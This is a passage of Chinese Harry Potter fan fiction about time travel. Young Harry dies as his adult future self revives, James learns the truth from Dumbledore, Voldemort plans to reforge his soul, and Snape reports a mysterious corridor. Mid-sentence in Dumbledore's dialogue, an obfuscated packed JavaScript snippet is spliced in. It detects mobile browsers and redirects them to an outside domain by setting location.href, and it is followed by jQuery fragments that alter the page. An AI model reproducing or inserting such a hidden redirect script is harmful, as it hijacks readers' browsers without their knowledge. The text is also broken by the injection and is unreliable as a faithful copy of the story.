他冲到医疗翼门口,手搭在门把上,却突然不敢推开。里面传来混乱的脚步声,庞弗雷夫人急促的咒语声一个接一个。他能听到詹姆斯在低声呼唤着儿子的名字,那声音里的痛苦让泰迪的心揪成一团。西比难得地沉默了,爪子紧紧扣住泰迪的肩膀。 深吸一口气,泰迪终于推开了那扇门。映入眼帘的场景让他几乎忘记了呼吸——医疗翼里笼罩着一层不同寻常的昏暗,连壁炉里的火光都显得黯淡无力。空气中弥漫着一种奇异的寒意,让他想起了一年级时坠入冰冷湖水的感觉。 庞弗雷夫人正在小哈利床边忙碌,她的魔杖在空中划出一道道焦灼的弧线。银色的诊断魔法在半空中闪烁,那些数字正以惊人的速度下降。“不,不该是这样的,”她喃喃自语,声音里带着难以掩饰的慌乱,“曼德拉草药剂明明已经完全起效了,石化的症状也消失了,为什么……”她的声音哽咽了,手中的魔杖在颤抖,一遍遍尝试着不同的治疗咒语。 “波比,”詹姆斯的声音嘶哑,“求你,一定要想办法……不行我们去圣芒戈……”他紧紧握着儿子的手,仿佛这样就能留住什么。泰迪从未见过他这样的表情,那张总是带着笑意的面孔此刻写满了恐惧。 “怎么……”泰迪的声音发颤,手中的魔药瓶差点滑落,“到底怎么了?” 他的视线在病房中寻找着,希望有人能给出答案。然后他看到了站在阴影中的斯内普——魔药教授沉默地注视着这一切,整个人仿佛也化作了一道影子。 泰迪的目光扫过地面,一张被遗落的羊皮纸吸引了他的注意。皮纸上的墨水线条仍在流动,勾勒出霍格沃茨城堡的轮廓,那熟悉的纹路让他心跳漏了一拍——这不就是哈利送给他的活点地图吗?他弯腰捡起,却在看到医疗翼的位置时僵住了:两个几乎重叠的“哈利·波特”清晰地标注在那里,而其中一个正在缓缓褪色。 “爸爸……”一个微弱的声音打破了寂静。 泰迪猛地抬头。 小哈利醒了,脸色苍白如雪,那声音轻得像一片羽毛:“我做了好长的梦。” “别说话,哈利。”詹姆斯试图挤出一个安慰的笑容,“你会好起来的……” 小哈利轻轻摇头,那双翠绿的眼睛看起来异常明亮,声音虽然虚弱,却带着奇特的轻快:“爸爸,我梦见自己飞得好高好高。我看见了霍格沃茨的每一个角落,看见了黑湖,看见了魁地奇球场……”他的声音低了下去,目光越过詹姆斯,落在泰迪身上,最后定格在那张病床上昏迷的身影。 “泰迪……”他轻声说,“别担心,他很快就会醒来了……” 泰迪紧紧攥着羊皮纸,指节发白。地图上的名字已经更加模糊。记忆突然涌来:和小哈利在格兰芬多休息室下棋的欢笑,在禁林里冒险时相互打气的默契,那些关于未来的畅想……他们说好要在魁地奇赛上打败斯莱特林,要四年级一起去霍格莫德,要一起…… 小哈利又转向自己的父亲,“爸爸,替我抱抱妈妈。”他努力抬起手,想要触碰父亲布满泪水的脸,“真想看看妹妹啊。” “哈利……”詹姆斯的声音哽咽了。 “别难过。”小哈利露出一个微笑,眼神渐渐涣散。他最后的话语轻得像一声叹息:“有机会的话,下次能和你一起打魁地奇吗?我还没正式参加过比赛呢。想和你一起飞一次……” 不远处病床上的人手指轻轻动了动。当那双绿眼睛重新睁开的瞬间,地图上,另一个“哈利·波特”的名字完全消失了,仿佛从未存在过。 61. 暗潮与微光(上) 伏地魔修长的手指轻轻抚过那本破旧的日记,墨水般的记忆在纸页间流淌。碎片般的画面闪现:一座燃烧的城堡,一串被毁的挂坠,还有那个绿眼睛男孩举起的魔杖。他眯起猩红的眼睛,指尖微微收紧。 “有意思。”他低声说,目光掠过桌上的赫奇帕奇金杯和拉文克劳王冕,魂器的黑魔法波动与他体内某处共鸣。 楼梯上传来脚步声,夹杂着细微的鞋跟摩擦声。卢修斯·马尔福走下最后一级台阶,低着头,铂金色的长发垂落。他微微躬身,“主人。” “我记得,”伏地魔慢条斯理地说,手指依然摩挲着日记本,“这本日记曾经交给你保管。” 卢修斯的脸色瞬间变得比他的头发还要苍白:“主人,我……” “安静。”伏地魔抬起手,“你知道我最欣赏你什么吗,卢修斯?你总是这样……谨慎。”他站起身,在跳动的火光中踱着步,“可惜,有时候太过谨慎,反而会错失机会。就像你匆忙丢弃的这本日记,差点让我们失去了重要的……启示。” “我为自己的愚蠢深感懊悔,主人。”卢修斯低声说,“请允许我弥补……” “你很快就有机会了。”伏地魔目光依然停留在日记本上,“告诉我,卢修斯,你可曾想过,为什么我们要追求永生?”他的声音轻柔得近乎耳语,“分裂灵魂看似能让我们远离死亡,但代价是什么?” 卢修斯·马尔福小心翼翼地斟酌着词句:“主人的智慧远超常人,您一定……” “愚蠢。”伏地魔打断了他,“分裂带来的并非力量,而是软弱。真正的力量来自完整。”他合上日记本,抬头直视卢修斯的眼睛,“我有个新的任务交给你。” “任何事,主人。”卢修斯低声说,努力掩饰声音中的颤抖。 “去小汉格顿。”伏地魔的声音像一阵冷风,“找到那座老宅。” “小汉格顿?”卢修斯小心翼翼地问,“那个偏僻的麻瓜村庄?我记得那里除了几户农民,就只有一座废弃的庄园……” “冈特家族的老宅。”伏地魔打断了他,猩红的眼睛闪过一丝阴郁,“就在那个村子附近。” 卢修斯猛地抬头,显然没料到这个答案。萨拉查·斯莱特林最后的血脉,竟然沦落到这种麻瓜聚居的穷乡僻壤?但他很快掩饰住了惊讶:“主人,您需要我……” “去找到它。”伏地魔说,目光重新落在日记本上,“时间模糊了许多东西,但那里一定还留着痕迹。”他停顿了一下,仿佛在搜寻记忆中模糊的片段,“等克劳奇回来,他现在应该还在德国。等他回来你们一起出发,他会知道该找什么。” “也许……”卢修斯犹豫了一下,“也许我们该叫上西弗勒斯?他在这类任务上总是很有办法。” “啊,西弗勒斯……”伏地魔用如蛇般黏腻的声音说,“是的,他一向很有用。不过现在让他继续留在霍格沃兹更重要。如果你们真的应付不来……到时再说。”魔杖在他苍白的指间转动,“我对那位突然出现的佩弗利尔教授很感兴趣。” 卢修斯似乎想说什么,伏地魔没再看他,而是重新坐回了那张角落的黑木书桌前,侧头示意他离开,“去吧。告诉其他人,等待的时刻即将结束,真正的力量就会回归。” 于是卢修斯只是微微躬身,垂着眼帘退去。 门轻轻关上。伏地魔长指敲桌的节奏戛然而止,他的目光落在半开的日记本上,那些残缺的未来画面在墨水中跳跃、旋转。他红瞳微微眯起,注视着这些碎片——像一个巨大谜题的残片,引诱着他踏入全新的命运。那种突破时间与空间的力量在他面前若隐若现——或许只需要更进一步,他就能亲手掌控所有的一切。 他站起身,缓步走向书架,脚步在木地板上发出轻微的吱吱声。修长的手指缓缓划过一排书脊,指尖触碰到粗糙的皮革封面时微微停顿,最终停在一本暗金烫纹的典籍上。指尖稍一用力,便将书抽了出来。书页无声地展开,古老符文在昏黄的灯光下幽幽浮现。 “分裂是凡人的枷锁,完整是永恒的权柄。破碎之魂徘徊尘世,唯归一者可超脱生死。”他轻声诵读着,目光掠过那些深奥的咒语。在未来的碎片中,他已经看到了过度分裂的代价——每一片魂器都像一道裂痕,让他的灵魂变得愈发脆弱。但这一次,他找到了一条新的道路,不会再犯同样的错误。 金杯在烛光下泛着微光,王冕的宝石闪烁着幽幽寒意。他能感觉到它们的呼唤,那些分散的灵魂碎片渴望重新融为一体。不是为了逃避死亡,而是为了获得更强大的力量——一种连邓布利多也无法企及的力量。 “时间模糊了真相,却从未抹去胜利者的意志。”伏地魔轻声冷笑,随手合上那本日记。他身体周围昏暗的阴影仿佛活了过来,与烛火中微弱的绿光纠缠。 “很快,”他对着黑暗低语,“等到所有碎片归位,灵魂重铸的仪式将让一切重归完整。”魔杖在他修长的手指间转动,杖尖迸发出的绿光照亮了他苍白的面容,“这一次,没人能阻止我。” —————— 晨雾笼罩着霍格沃兹城堡,天际泛起微弱的鱼肚白。黑湖上飘着薄薄的雾气,远处的山峦若隐若现。城堡里一片寂静,只有画像们轻微的鼾声回荡在空旷的走廊中。 詹姆斯站在滴水兽前,深吸一口气。银色信使刚刚带来邓布利多的口信。他机械地整理了一下凌乱的长袍,发红的眼睛昭示着一夜未眠。自从医疗翼那场变故后,他就一直在城堡里游荡,既不想回去面对被施了保存咒的小哈利,更不敢回家面对莉莉。 当他说出口令时,自己的声音低得几乎听不见:“甘草糖。” 滴水兽微微一颤,缓缓跳到一旁,墙壁随之裂开,露出一道旋转的石梯。詹姆斯踏上去,伴随着低沉的石磨声,楼梯缓缓上升,将他带入校长室。邓布利多正站在那扇巨大的窗前,望着逐渐褪去的晨雾。清晨的寒风从打开的一扇窗户灌入,夹杂着夜晚未尽的寒意。缩在栖木上的凤凰打了个响亮的呼噜,抖了抖翅膀。 听到脚步声,他转过身,语气低缓,“詹姆斯,谢谢你能来。请坐。” “您找我有什么事,教授?”詹姆斯在扶手椅上坐下,肩膀微微塌了下去。晨光从窗棂洒进来,照得他憔悴的脸更显苍白。 邓布利多也缓缓坐下,轻轻合拢双手,镜片后的湛蓝眼睛比平时显得更深几分,“首先,我要告诉你,我很抱歉。” 这位老校长的声音里充满了对一个失去孩子的父亲的关切,“我知道现在说什么都无法减轻你的痛苦,但请你相信,如果有任何我能帮得上忙的地方……”他没有继续说下去,而是垂下了目光,似是无法直视眼前这个悲伤至极的父亲。 “谢谢您。”詹姆斯声音沙哑,低头捏紧了拳头,“莉莉现在的身体情况……”他没说下去。 邓布利多点了点头,镜片闪了一下,“我明白。” “也许,我们可以帮你分担一些。詹姆斯,如果可以的话……”他停了停,目光扫过詹姆斯的脸,声音放缓,“我们可以在霍格沃茨为哈利办一场葬礼。他的朋友们、老师们,我想他们都会愿意来送他最后一程。” 詹姆斯点点头,别过头去用力揉了揉眼睛。墙上历任校长的画像都沉默地注视着这个悲伤的父亲,连平日里最爱打瞌睡的阿芒多·迪佩特都垂着头,一言不发。福克斯在栖木上发出一声低沉的鸣叫,回音在办公室里短促地停留了一会儿。 邓布利多靠回椅背,手指交叠,目光落到詹姆斯苍白的脸上。他的目光专注,“詹姆斯,如果你还有别的事情要对我说,我在听。” 詹姆斯久久不语。就在邓布利多以为谈话就要在这样的沉默中结束时,他才忽然开口,眼神犹豫又挣扎,“教授,在这之前,我看到了一些事。” 他摊开一张旧得发黄的羊皮纸,纸面在空气中发出轻微的沙沙声。邓布利多微微前倾,湛蓝的眼睛从半月形镜片上方打量着这张空白的羊皮纸 “活点地图。”詹姆斯手指轻轻抚过那张泛黄的羊皮纸,“我和朋友们在学生时代制作的。它能显示霍格沃兹里每个人的位置,从来没给外人看过,它一直是个只有我们四个人知道的秘密——连莉莉都不知道它的存在。” 他停顿了片刻,低低笑了一声,那笑声里没有一丝愉悦,只剩下干涩与苦涩:“教授,我从未想过,有一天我会带着它来找您。” 邓布利多没有说话,只默默注视着他,等待他继续。 “一开始只是些小事。”詹姆斯喉结不自然地动了一下,“我不知您是否见过泰迪手里那张地图,佩弗利尔送给他的。它……几乎一模一样。不仅仅是功能,连那些只有我们四个人才知道的暗语都完全相同。”他抿了抿干涩的嘴唇,“当时我告诉自己,也许制作活点地图的方法不止一种。也许真的只是巧合。” “但不只是地图,阿不思。”他的声音轻得几乎听不见,“他和我太像了,而那双眼睛……”他停顿了一下,“完全是莉莉的眼睛。” 詹姆斯抬起头:“您知道小天狼星的性格。可他对佩弗利尔的态度……”他摇摇头,“就像对待我的哈利一样。” “我一直在告诉自己别多想。”詹姆斯像是在自言自语,“这个世界上总会有不少的巧合。直到昨天,在医疗翼里……” 他把羊皮纸缓缓摊开,恍惚的思绪飘回了昨日在病房里的那一刻。他甚至不知道自己为什么要这么做。也许是太疲惫了,也许是太过无助。 他的嘴颤抖着张合了几下,仿佛在一瞬间与医疗翼里那个因为紧张而深深吸气的自己合二为一,声音嘶哑但清晰地说道,“我庄严宣誓我不干好事。” 随着咒语,墨水线条在羊皮纸上流淌,迅速填入每一片空白,勾勒出霍格沃茨的全貌。詹姆斯的目光追随着那些熟悉的文字,将地图摊在邓布利多面前,手指难以控制地指向某个角落,“您看这里,医疗翼。一个名字,‘哈利·波特’。” 念出这个名字像是耗尽了他所有的力气,“死者的名字是不会出现在地图上的。可是这个名字还在。活点地图从不说谎,它只会显示真实的身份。”他闭上眼睛,“当时我看到了两个名字。两个‘哈利·波特’。” 他死死抑制住情绪,深吸一口气,“我甚至没来得及思考这意味着什么。然后……然后哈利就……” 邓布利多屏住了呼吸,这一次,他平时温和的脸庞微微动容,眉心轻轻皱起,目光中浮出一丝细微的悲伤。他的双手交叉在膝盖上,像是在极力稳住自己的情绪。 办公室再次陷入一片寂静。福克斯在栖木上不安地扑扇着翅膀。 “詹姆斯,”邓布利多终于开口,声音格外轻柔,“你为什么要告诉我这些?你期待从我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156399|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里得到什么答案?” 詹姆斯抬起头,眼中满是痛苦与困惑:“我不知道,阿不思。也许……也许我只是需要确认自己没有疯。也许我只是想知道,为什么偏偏是在这个时候……” 一个念头击中了他。他的眼睛猛地睁大,“泰迪。”他的声音开始发抖,“泰迪·卢平。” “那孩子笑起来的样子,”詹姆斯喃喃道,“有时候会不经意间露出莱姆斯年轻时的神态。”他的声音颤抖,“还有他变换发色的能力,易容马格斯……是极为罕见的能力,就像——” 他猛地停住,因为他想起傲罗司里一个年轻傲罗,那个总是把头发变成粉色的年轻女孩。 他抬头看向邓布利多:“阿不思,我是不是真的疯了?莱姆斯……莱姆斯甚至还没有结婚。他和唐克斯,他们连面都没见过。可是那个孩子……” 詹姆斯忍不住站起身,在办公室里踱步,声音越来越急促:“这不可能。这一切都不可能。我的儿子刚刚……”他哽住了,用力闭上眼睛,“现在您告诉我,一个还未出生的孩子,莱姆斯甚至都不知道自己会有的孩子,正在霍格沃兹上学?” 他的脚步戛然而止,手指无意识地绞在一起,“为什么是佩弗利尔在照顾他?而不是莱姆斯……” 那个可怕的念头在他脑海中成形,却无法说出口。他转向邓布利多,那双总是充满笑意的榛色眼睛此刻盈满泪水:“告诉我,阿不思。我需要知道真相。即使那个答案会让我崩溃。” 邓布利多依然平静地注视着他,但那双蓝眼睛里盛满某种复杂情感,“有些真相,詹姆斯,也许会彻底打破平静的生活。你真的确定要知道吗?” “平静?”詹姆斯苦笑一声,“在失去儿子之后,你觉得我还能平静吗?我需要知道,阿不思。” 福克斯飞到詹姆斯肩头,轻轻蹭了蹭他的脸颊。 “如果还有一个人能给我答案,那只能是你。”他抬起头,“告诉我,他是不是……” 邓布利多从扶手椅上站起来,走到窗前。清晨的薄雾正在湖面上缓缓散去,远处的山峦渐渐显露出轮廓。 “詹姆斯,”邓布利多的目光变得深邃,“有时候,命运给我们的答案,远比我们想象的更难以接受。” “什么意思?”詹姆斯追问道。他的手仍然紧紧攥着那张活点地图。 “告诉我,詹姆斯,”邓布利多缓缓转身,“你如何理解时间?” “时间?”詹姆斯皱了皱眉,“如果您指的是时间转换器,我用过一次。它最多只能回到过去几个小时,而且……”他突然停住了,血色从他脸上褪去。 “是的,时间转换器最多只能让人回到几个小时前,因为任何基于时间的魔法都是变化无常的,即使是过去最细微的变化,也可能在未来造成毁灭性的后果。所以,时间的魔法总是让人敬畏。”邓布利多说,“但是詹姆斯,魔法的奥秘远不止此,有些力量,即便是我们也无法完全理解。” 詹姆斯站在原地,脸上的表情从困惑渐渐变成了震惊:“您是说……不,这不可能。您是说哈利·佩弗利尔他……他是……” “是的,詹姆斯。”邓布利多的话语在寂静的办公室里回荡,每一个字却异常清晰,“哈利·佩弗利尔,不,或许我们该叫他哈利·波特,是因为一场意外从未来来到这里的。而他的教子——你的直觉和判断总是让我敬佩,泰迪·卢平,确实是莱姆斯·卢平和尼法朵拉·唐克斯的儿子。” 詹姆斯踉跄了一下,不得不扶住桌子才能站稳,深吸了好几口气才终于开口,“这是不是意味着……哈利的死,和他有关?” 邓布利多沉默了片刻:“我不知道,詹姆斯。即便是我,对时间的运行也所知有限。不过——”他轻声说,“不要怪那个孩子。有一点我可以确定——这不是任何人期望看到的结局,尤其是他。” “我无法想象一个失去孩子的父亲的痛苦。”邓布利有些疲惫地闭上眼睛,声音比平常更低、更沉,“可在另一个时空里,那个孩子很小就失去了你们。但他继承了你的勇气,莉莉的善良。他经历了许多我们难以想象的苦难,却从未放弃希望。” 詹姆斯沉默地坐在那里,泪水无声地滑落。 “我知道现在让你接受这一切太过残酷。”在这片令人窒息的沉默中,邓布利多终于开口,“但请记住,让你们痛苦难受从来不是他的愿望——一直以来,他保持着很好的距离不是吗?” 詹姆斯将脸埋在手掌中。过了很久,他才抬起头,艰难地开口:“我需要时间,阿不思。我需要……” “当然。给自己一些时间,也给他一些时间。”邓布利多温和地说,“等你准备好了,随时可以来找我。或者……找那个孩子。” 詹姆斯摇摇头,苦笑一声,“我不知道这会需要多久。” “我想告诉莱姆斯。”他忽然说。 “当然,我没有什么理由阻止你。”邓布利多轻轻点头,“或许莱姆斯也应该知道这个真相。毕竟,这不仅关乎你的未来,也关乎他的。”他顿了顿,“有时候,分担秘密能让重担变得不那么沉重。” 晨光洒满了整个房间。詹姆斯站起身,步伐有些不稳。在踏出校长室前,在门口停了停:“他……他还好吗?” “他会好起来的。”邓布利多语气肯定,“他一直都很坚强。” 62. 暗潮与微光(下) 午后的阳光斜斜地洒在地面上,斯内普站在了校长室门前。他在清晨就想来找邓布利多,那时天刚蒙蒙亮,他在走廊的阴影中看到詹姆斯·波特失魂落魄的身影。某种难以言喻的情绪在胸口翻涌,最终他选择先回到地窖。 昨晚,他在那里度过了一个不眠之夜。壁炉的火光早已熄灭,但他仍坐在那张旧扶手椅上,目光停留在虚空中某个看不见的点。那些在回廊中看到的画面不断闪现:波特在尖叫棚屋的最后一瞥、深夜徘徊的身影、那些为他辩护时激烈的神情,还有那个人深藏的、不可言说的感情。命运总是格外讽刺,偏偏要在他看到那些记忆后,又让他目睹这样的场景——詹姆斯·波特惊慌失措地呼唤着,试图挽留年轻的哈利·波特的生命,泰迪的脸上满是不可置信,手里的魔药终于落地。一切都结束了,他想,一个灵魂的离去,另一个的归来。 他用了一个上午来平复那些纷乱的思绪。现在,站在滴水兽前,他终于可以用足够冷静的态度面对这一切。那个奇特的空间,福克斯说过的话,还有那些需要一个解释的记忆——这些都不容他继续逃避。 校长室的门开着,邓布利多正站在窗前,目光投向远处。福克斯半眯着眼,懒洋洋地趴在栖木上,偶尔发出几声轻柔的鸣叫。 “西弗勒斯?”邓布利多转过身,“真是意外,你很少主动来找我。”斯内普站在门口,神色略显疲惫:“我有些事需要告诉您。关于昨晚。” “当然,快进来吧,请坐。”邓布利多平静地说道,抬手施了一个无声的咒语,一杯热气腾腾的姜茶漂浮到斯内普面前。他意味深长地看了斯内普一眼,“霍格莫德的新茶,据说对失眠症状有奇效……我注意到,你昨晚似乎没怎么休息。” 斯内普垂下目光,茶杯温暖的热雾在鼻尖升起。那些被压抑了一上午的思绪又开始在脑海中翻涌,如同挥之不去的幽灵。 他没有接话,手指无意识地摩挲着茶杯边缘,“早上看到詹姆斯·波特来找您。” “啊,是的。”邓布利多轻叹一声,“对任何父母来说,失去孩子都是最大的痛苦。我原本以为,在和平年代……” “和平从未真正到来。”斯内普冷冷地打断他,随即意识到自己的语气过于生硬,稍稍缓和了一些,“我有些事需要告诉您。关于昨晚。” 福克斯在栖木上轻轻转动脑袋,那双明亮的眼睛让斯内普莫名地感到不自在。他微微转过身,避开凤凰的目光,“福克斯带我去了一个地方。” 斯内普停顿了一下,像是在斟酌措辞,“应该不是您的这只。” “哦?”邓布利多放下茶杯,杯沿轻轻碰到碟片发出一声微响。他越过茶杯的边缘打量着斯内普,目光里似乎含着探究。即使是在这样温暖的午后,魔药教授的脸色看起来也异常苍白。 “一个叫做冥想回廊的空间。”斯内普说,“福克斯说它介于过去与未来之间。”他的手轻轻搭在桌面上,指尖微微收紧,“那里有一条长廊,和四扇门——第一扇像被锈蚀的青铜,第二扇由流动的水晶铸就,第三扇泛着雾蒙蒙的玻璃,而最后一扇则被锁链封印。我看不清这些门上刻着的铭文。” “听起来像是某种古老的魔法造物。”邓布利多的声音里流露出深思,“你进入了哪扇门?” 斯内普的声音略显生硬,“水晶门。波特的灵魂被困在那里。” 邓布利多立刻意识到这个“波特”指的是谁。他坐直了身体,变得格外专注,“哈利的灵魂?你是说……” “正如您所猜想的。”斯内普语气简短,仿佛不愿多做解释,“福克斯说他的灵魂在各处游荡。它让我把他带回来。”他不动声色地松开手指,试图抚平袖口的褶皱,“在那里,我看到了一些……” “记忆?”邓布利多的声音温和依旧,却带着某种洞察一切的敏锐。 斯内普略微偏过头,像是在躲避照进窗内的阳光:“只是些无关紧要的碎片。”他的语气突然变得讥讽,“伟大的救世主在未来的光辉事迹。” “西弗勒斯。”邓布利多轻声说,“在那些记忆里,你看到了什么让你如此……”他斟酌着措辞,“不安?” “不安?”斯内普冷笑一声,“我没有什么不安。”他站起身走到窗前,背对着邓布利多,“我想我们现在最应该关心的是冥想回廊本身。福克斯说过一些话,关于时间,关于灵魂。它说时间像一条河流。” “有趣的比喻。”邓布利多喝了口茶。 “时间最终会汇成一条主流。”斯内普的声音里带着一丝难以察觉的紧绷,“而同一时空无法承载两个相同的灵魂,对抗是不可避免的,这是我难以理解的一点。” “也许我们该换个角度思考。”邓布利多站起身,开始在房间里踱步,“当有人试图逆流而上,从上游的某一点开始改变历史,会发生什么?” 斯内普依然凝视着窗外:“新的流向会将旧的痕迹覆盖……” “正是如此。”邓布利多停下脚步,“如果把时间比作河流,那么它只能朝一个方向流动,除非有人试图改变它。当新的水流冲刷河道,旧的痕迹就会被抹去。”他的目光闪烁了一下,“你知道吗,这让我想起了在麻瓜世界见过的一种有趣的发明。” 斯内普挑了挑眉,显然对这个话题转向并不感兴趣。 “他们称之为录像带。”邓布利多却继续说着,似乎没有注意到斯内普的不耐,“能够记录画面和声音,而当你重新录制时,旧的画面就会消失。就像……” “就像新的时间覆盖旧的痕迹。”斯内普接过话来,语气里难掩讽刺,“多么……麻瓜式的巧合。” “有时候最简单的道理,往往来自最意想不到的地方。”邓布利多微微一笑,但随即又变得严肃,“西弗勒斯,这让我想起了早些时候我们的推测——关于伏地魔对未来的所知。” 斯内普的目光微微一凝,转回身面向邓布利多。 “我们已经知道他在回收魂器,”邓布利多的声音变得深沉,“而目的并非为了防止它们被破坏,而是为了某种更危险的尝试——灵魂重铸。”他望向窗外,阳光依然明媚,却让人感到一丝寒意,“而现在,时间的改变已经开始显现其影响。” “如果说黑魔王知道了某些未来,”斯内普谨慎地说,指尖无意识地摩挲着左臂,“那么为什么还要花那么多时间去寻找魂器?他大可以直接……” “也许正是因为他也并没有知道得那么多。”邓布利多轻声说,手指轻轻敲击着桌面,发出一种若有所思的节奏,“西弗勒斯,想想看——他突然消失,而不是按照预言行事;他派人收集魂器,却故意让过程变得缓慢而复杂;他在等待什么,准备什么……” “等待时机。”斯内普冷静地接过话来,“为了完成那个灵魂重铸的仪式。” “是的。如果真是这样,那我们现在面对的可能比想象中更危险。”邓布利多转向窗边,“我们都看到了时间改变带来的影响。” 斯内普沉默片刻,眼神略显阴郁:“所以莉莉儿子的死去,也是时间改变的影响。”他的声音里带着一丝连自己都没有察觉的苦涩。 “不完全是。”邓布利多说,“如果我没记错,你刚刚说两个灵魂的对抗无可避免。那我们是否能假设,当两个相同的灵魂存在于同一时空,总会有一个更强大的压制住另一方而胜出。” “为什么不能共存?”斯内普皱眉。这个问题在他脑海中盘旋已久,却始终找不到答案。 “灵魂并非简单的能量体,西弗勒斯。”邓布利多沉思着说,“每个人的灵魂都是独一无二的。当两个相同的灵魂出现在同一时空——它们或许会互相排斥,或者说,互相削弱,直到只剩下一个。也许,这就是时间的法则,没有那么多为什么。”他走到福克斯栖木旁,轻轻抚摸着凤凰的羽毛,“而成年的哈利,经历了那么多,他的灵魂显然要强大得多。” “所以福克斯一直在尝试延缓这个过程。”斯内普的声音很轻,像是在确认什么。 “是的。但石化打破了平衡。当被冻结的时间重新流动,这个过程就无法阻止了。”邓布利多从窗前转过身,“而这可能只是开始。” “时间与灵魂的法则远比我们理解的要复杂。”邓布利多走到福克斯栖木前,凤凰轻轻蹭了蹭他的手指,“就像我们对预言的理解,往往太过浅薄。” 斯内普微微眯起眼睛,敏锐地抓住了这个暗示:“您是说,黑魔王当年选择消失,不仅仅是因为看到了某个未来?” “他看到的或许不只是单纯的画面。”邓布利多的声音渐渐沉了下来,“想想看,西弗勒斯——一个靠分裂灵魂来追求永生的人,突然改变了策略。他开始收集魂器,不是为了保护它们,而是为了重铸。这种改变背后的原因……” “我们都知道在那个未来他失败了。”斯内普语气略带嘲讽,但指节不自觉地泛白,“波特已经说得很清楚。” “是的,但重点不在失败本身。”邓布利多停下踱步,“汤姆·里德尔从来不是个会轻易认输的人。如果他看到了那个未来,看到了自己的结局……”他的声音里带着一丝警惕,“他不会甘心重蹈覆辙。” “所以他选择提前消失。”斯内普脸色露出不确定的神色,“而不是按照预言的指引行动。”他停顿了一下,“但这意味着什么?预言难道不是注定要实现的吗?” “预言从来都只是可能性的指引,西弗勒斯。”邓布利多说,“想想看,一个对未来了如指掌的伏地魔,会是多么可怕的对手。他知道哪些计划会失败,知道哪些行动会带来毁灭。而现在,他不仅在改变策略,还在尝试一种前所未有的魔法。” “灵魂重铸。”斯内普下意识地按住左臂,那个标记似乎在隐隐作痛,“您觉得他为什么选择这条路?分裂灵魂已经让他获得了某种不死性……” “但代价是什么?”邓布利多反问,语气变得严厉,“一个支离破碎的灵魂,一个逐渐失去人性的存在。也许在那个未来里,他意识到了这种不死的缺陷。” 邓布利多的目光掠过书桌抽屉,想起了那封被他锁在最下层的信,眉间微微皱起,“有些线索正在连接起来,但我需要更多证据。” “您发现了什么?” “现在说还为时过早。”邓布利多轻声说,“不过有一点是确定的——我们必须尽快行动。”他看向斯内普,“你和哈利需要找到他到底在谋划什么,特别是那个灵魂重铸的仪式。” 斯内普慎重地点头。 邓布利多似乎想到了什么,突然转向斯内普:“说到这个,西弗勒斯,你还没有告诉我关于冥想回廊的全部细节。四扇门,每一扇都独具特色。而你进入了水晶门——门后是哈利的记忆和灵魂。”他的目光变得意味深长,“有趣的是,为什么偏偏是你?” 斯内普的表情瞬间变得戒备:“什么意思?” “福克斯选择你进入回廊,让你找回哈利的灵魂,这肯定有它的道理。”邓布利多温和地说,但眼神里带着不易察觉的狡黠,“在所有人中,为什么是你去把他带回来?” “这不过是个巧合。”斯内普冷笑一声,“也许我只是当时离得最近的那个可怜虫,福克斯懒得多费工夫去找别人。”他的语气里带着惯常的讽刺,昨夜在回廊中看到的那些画面又开始擅自在脑海中闪现。 他需要结束这个令人不适的话题,猛地站起身,“阿不思,我没有什么要说的了。如果您没有其它事,我还有魔药要准备。” 斯内普转身走向门口。 “西弗勒斯。”邓布利多在他快要走到门口时叫住他,“谢谢你。不仅是为了今天告诉我这些,也为了把哈利带回来。” 身后传来邓布利多温和而真诚的声音,“我很高兴,是你把他带回来。” 斯内普的脚步顿了一下,没有回头,“我只是在完成一个必要的任务。”他的声音平静,仿佛在陈述一个再普通不过的事实,“显而易见,我只是在确保每个人都回到该在的位置。” ====== 夕阳沉入地平线,医疗翼空荡荡的,哈利靠在床头,望着窗外渐暗的天色。床边的蜡烛燃着微弱的火苗,偶尔在空气中颤动了一下。 意识像被雾气笼罩。记忆如破碎的镜子:礼堂里的混乱、蛇怪的袭击、泰迪惊恐的脸庞,还有……小哈利。 多奇妙啊,看着那个11岁的自己在霍格沃茨无忧无虑地成长。他仍然那么勇敢,在飞行课上保护同学;仍然那么正直,为了朋友挺身而出;甚至连那种对魁地奇的天赋与热爱都分毫不差。只是这一次,他有父母的拥抱,有完整的童年,交到了最好的朋友——包括他的教子泰迪。 那些瞬间像是一场温柔的梦。看着小哈利在礼堂里和赫敏开怀大笑,看着他在课堂上调皮地和罗恩交头接耳,甚至看着他对着“佩弗利尔教授”露出崇敬的目光……每一个画面都让他感到一种难以名状的情感。那个男孩身上有着他熟悉的影子,却又是那样鲜活而完整。而现在,这些画面正在慢慢消散。 门被轻推开,地面上多了一道修长的影子。“晚上好,哈利。”邓布利多的声音低柔地响起,打破了病房的寂静。他缓步走到床边,银白的发须在昏暗中隐隐发亮。 哈利慢慢转过头。他花了几秒钟才真正对上那双湛蓝的眼睛。“教授……”他的声音有些沙哑,好像很久没有说过话。 邓布利多在床边轻轻坐下。虽然他知道真相终究要揭露,但看着眼前这个年轻人,他仍忍不住希望能有别的方式。 “感觉怎么样?要不要喝点水?”他温和地问道,试图为即将到来的谈话创造一个缓和的开端。 哈利摇摇头,又将目光投向窗外。远处的山峦已化作深紫色的剪影,沉入渐暗的天幕。过了很久,他才低声说:“我不明白。”他停顿了一下,似乎在努力组织语言,“他明明……庞弗雷夫人说曼德拉草药剂已经完全起效了。可是为什么……” 他说不下去了。窗外最后一丝光亮隐没,病房沉入更深的昏暗。 “西弗勒斯告诉我,你的昏迷不太寻常。”邓布利多轻声说,“你的灵魂似乎去了一个特殊的地方。” 哈利的手指无意识地抓紧了床单。斯内普怎么会知道冥想回廊?那个只有他和福克斯知道的秘密。“您是说……”他迟疑着开口,“斯内普进入了冥想回廊?这不可能。那里有古老的禁制,就算是我也只有在福克斯的引导下……” 他猛地停住。福克斯。为什么福克斯会带斯内普进去?除非…… “西弗勒斯确实说是福克斯带他进去的。”邓布利多肯定道,哈利这才意识到自己不小心把内心的想法说了出来。 